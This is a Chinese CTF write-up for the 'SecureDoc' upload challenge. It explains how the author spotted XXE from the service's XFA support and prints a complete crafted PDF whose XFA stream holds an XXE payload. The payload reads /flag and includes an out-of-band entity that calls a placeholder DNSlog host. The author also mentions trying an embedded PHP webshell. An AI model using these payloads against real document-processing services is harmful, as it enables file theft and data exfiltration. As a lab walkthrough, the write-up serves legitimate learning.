飞书链接:https://icnewi51k2yp.feishu.cn/wiki/Ebmrw9mzNiksl9kEhQKc2i1rnCZ

队伍名:legend

唯一的一题,麻了

SecureDoc

读题,是一个文件上传的界面,一开始以为是 ezUpload,结果发现还有一题也是文件上传

所以这题不大可能也是文件上传

尝试着上传了一下嵌入 php 木马的 pdf 文件,虽然成功了,但发现源码和请求头中没有路径去读取

看到下面的提示:

1
2
3
4
5
**ℹ️ Supported Features:**
• Standard PDF text extraction
• PDF forms and interactive elements
• XFA-based dynamic forms
• Metadata extraction

翻译过来是元数据提取,推知可能和 xxe 漏洞相关?

尝试随意上传了一个文档,又看到了 XFA,所以可能就是 XXE,但这个 XXE 如何构造呢?

于是想到记事本,在记事本里添加这段话

1
2
3
4
<!DOCTYPE data [<!ENTITY value SYSTEM "file:///flag.txt">]>
<root>
<a>&value;</a>
</root>

然后改成 pdf,上传失败了…

后来在网上找到了规范的 pdf xml 格式,并能通过检测,

在如图的位置,嵌入头和 XXE 漏洞,就通过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
%PDF-1.7
1 0 obj
<< /Type /Catalog /AcroForm 2 0 R >>
endobj
2 0 obj
<< /Type /AcroForm /XFA 3 0 R /NeedAppearances true >>
endobj
3 0 obj
<< /Length 700 >>
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<xfa:template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.3/">
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///flag">
<!ENTITY log SYSTEM "http://你的DNSlog地址"> <!-- 无回显时用,替换成你的DNSlog -->
]>
<xfa:subform>
<xfa:field name="flag">
<xfa:value>&xxe;</xfa:value> <!-- Flag嵌入表单字段 -->
</xfa:field>
<xfa:field name="test">
<xfa:value>&log;</xfa:value> <!-- 无回显时触发DNSlog请求 -->
</xfa:field>
</xfa:subform>
</xfa:template>
</xdp:xdp>
endstream
endobj
4 0 obj
<< /Type /Page /Parent 5 0 R /MediaBox [0 0 612 792] >>
endobj
5 0 obj
<< /Type /Pages /Kids [4 0 R] /Count 1 >>
endobj
trailer
<< /Root 1 0 R >>
startxref
1800
%%EOF